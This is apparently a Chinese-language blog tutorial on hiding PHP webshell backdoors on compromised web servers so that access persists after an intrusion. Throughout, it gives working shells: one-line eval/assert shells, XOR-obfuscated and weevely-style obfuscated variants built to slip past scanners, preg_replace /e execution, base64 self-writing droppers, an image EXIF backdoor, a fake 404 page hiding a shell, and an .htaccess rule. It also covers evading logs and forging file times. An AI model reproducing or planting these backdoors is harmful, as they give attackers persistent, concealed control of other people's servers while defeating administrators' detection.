在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限，WEB权限，系统用户权限等等.此文则对大众后门隐藏的一些思路做科普。
AD：
0×00前言
在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限，WEB权限，系统用户权限等等.此文则对大众后门隐藏的一些思路做科普.
以PHP-WEBBACKDOOR为例,抛砖引玉
一个最常见的一句话后门可能写作这样
- <?php @eval($_POST['cmd']);?>
或这样
- <?php @assert($_POST['cmd']);?>
当然,这仅是调用的函数不同,关于PHP禁用的函数请在php.ini: disable_functions 中寻找.
但是运维直观寻找我们shell的方式也有很多,如
◆通过文件名/修改时间/大小,文件备份比对发现异常
◆通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php以及各种扫描器等等
◆通过Access.log访问日志发现后门所在
◆又或者,我们的测试一句话还要被WAF拦一下,再来个警告日志,等等
针对常见的检测方式,总结以下七常用手法对shell进行隐藏
0×01规避
看看各种扫描后门的代码就知道,留一个众人皆知,人人喊打的关键词在shell中是万万不能的
常见的关键词如:
◆系统命令执行: system, passthru, shell_exec, exec, popen, proc_open
◆代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
◆文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
过去有朋友机智的使用$_POST[0]($_POST[1])来执行命令,可惜现在也难逃扫描器法眼,但万象变化,构造方法是无穷的
tudouya 同学在FREEBUF上给出[一种构造技巧](http://www.freebuf.com/articles/web/33824.html)利用
- <?php
- @$_++; // $_ = 1
- $__=("#"^"|"); // $__ = _
- $__.=("."^"~"); // _P
- $__.=("/"^"`"); // _PO
- $__.=("|"^"/"); // _POS
- $__.=("{"^"/"); // _POST
- ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
- ?>
构造生成,当然,嫌太直观可以写作这样
- <?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>
然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就出现了
执行无误,且绕过普通扫描器,也可依赖之写新的临时shell
0×02特性
借助语法特性执行命令亦不失为有趣的手法.借用php在处理变量时的语法特性,会分析双引号中的数据是否含有变量(并解析其值)
eg.:
- ${@eval(phpinfo())}
{}可解析双引号内的变量内容，@保持出错后继续执行
然后就可以大摇大摆的开始构造隐藏后门了,但此处构造欲再借力于函数引起的命令执行,没错,就是preg_replace
- <?php @preg_replace("//e",$_POST['cmd'],"");?>
这玩法显然已经进了扫描器黑名单,简单修改下
- <?php
- function funfunc($str){}
- echo preg_replace("/<title>(.+?)</title>/ies", 'funfunc("1")', $_POST["cmd"]);
- ?>
执行了,没有被发现
执行的方式显而易见,正则匹配后的{${phpinfo()}}传入funfunc时引起了代码执行
- funfunc("{${phpinfo()}}")
另一种方法
- <?php @assert("$arr="".$_GET['cmd']."";");?>
0×03包含
文件包含是众人都玩过的方法,只是包含也有技巧
普通文件包含可能仅仅是一个include包含某个txt或jpg,甚至直接留一个包含漏洞,但扫描器也容易发现,多出的包含文件也易被发现
看此脚本
- <?php
- if(@isset($_GET[content]))
- {
- $fp=fopen('README','w');
- file_put_contents('README',"<?php ");
- @file_put_contents('README',$_GET[content],FILE_APPEND);
- fclose($fp);
- require 'README';}
- ?>
算是解决了一点问题,需求的shell可随用随生成,进而包含之
可惜由于file_put_contents等函数过于敏感,也是很容易被扫描发现
编码生成的方式创建shell,随访问而生成.
- <?php @fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));
- ?>
可以逃避一些扫描器,但这个模式也比较引人注目,生成的新文件也要做简单的隐藏以躲过查杀.
当然对于启发式之类的新概念就不考虑了
在这种方式也满足不了需求的情况下,机智的攻击者又重拾图片
- <?php $exif=exif_read_data('./lol.jpg');preg_replace($exif['Make'],$exif['Model'],'');?>
这次不必再简单的copy /b生成图片马了,借用preg_replace执行文件的特定标志一样可行
此处可能会提示 Call to undefined function exif_read_data()
需要修改php.ini, extension=php_exif.dll
将其加载顺序改为extension=php_mbstring.dll的后面
可以看出,此图片后门借助了preg_replace e参数,依赖了php的变量解析执行,又使用了base64编码,最后依赖文件标识将一个完整的shell拼合,算是给初涉后门隐藏的童鞋一个小提醒
当然,只要有包含点,包含文件的形式是多样的,甚至于包含error_log(虽然可能要考虑闭合),只有想不到…
0×04隐匿
为了不让访问者发现后门的存在,机智的安全研究员也会混淆视听故弄玄虚
- <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
- <html><head>
- <title>404 Not Found</title>
- </head>
- <body>
- <h1>Not Found</h1>
- <p>The requested URL was not found on this server.</p>
- </body>
- </html>
- <?php
- @preg_replace("/[checksql]/e",$_POST['cmd'],"saft");
- ?>
借助上面的html渲染后,浏览页面已经开始伪装404以迷惑视听了
但躲得过访问者也躲不过日志分析,为更好的隐藏在大量日志中,构造如下脚本
- <?php
- header('HTTP/1.1 404');
- ob_start();
- @fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));
- ob_end_clean();
- ?>
访问之,是真正的404,没错,日志中也是这样
但此刻当前目录已生成我们要连接的脚本
0×05混淆
用过weevely工具的童鞋应该知道,其生成的免杀shell像这样
- <?php
- $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";
- $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";
- $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");
- $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";
- $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";
- $smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe");
- $jgfi = $ftdf("l","","lclrlelaltel_functlilon");
- $rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();
- ?>
终端下连接后像这样
Ps:截图忘记修改终端编码了:(
其免杀方式在于,在固定区域生成随机名称变量,后借助str_replace拼合base64_decode,执行命令的过程
当然,这是在代码层面混淆视听以躲过扫描器
更常用的混淆视听的方法:
◆修改文件时间
◆改名融入上传后所在文件夹，让人无法直观看出文件异常
◆文件大小的伪装处理(至少看起大小像个正常脚本)
◆选好藏身路径并尽量少的访问
◆畸形目录%20
关于空格目录,还是相对容易被发现的
0×06解析
利用.htaccess,添加解析后门
如:
- AddType application/x-httpd-php .jpg
以上以weeverly为例
0×07杂糅
总结以上方法,大部分无非是一个构造漏洞的过程,漏洞构造的代码能有多奇葩,后门就可以多奇葩.可以写纤细婉约的,也可以搞简单粗暴的,只是适用场 合不同而已.如能很好的融合思路,构造自己的隐藏shell想来亦非难事.以上仅为总结经验之谈,各位有有趣的想法还望不吝赐教.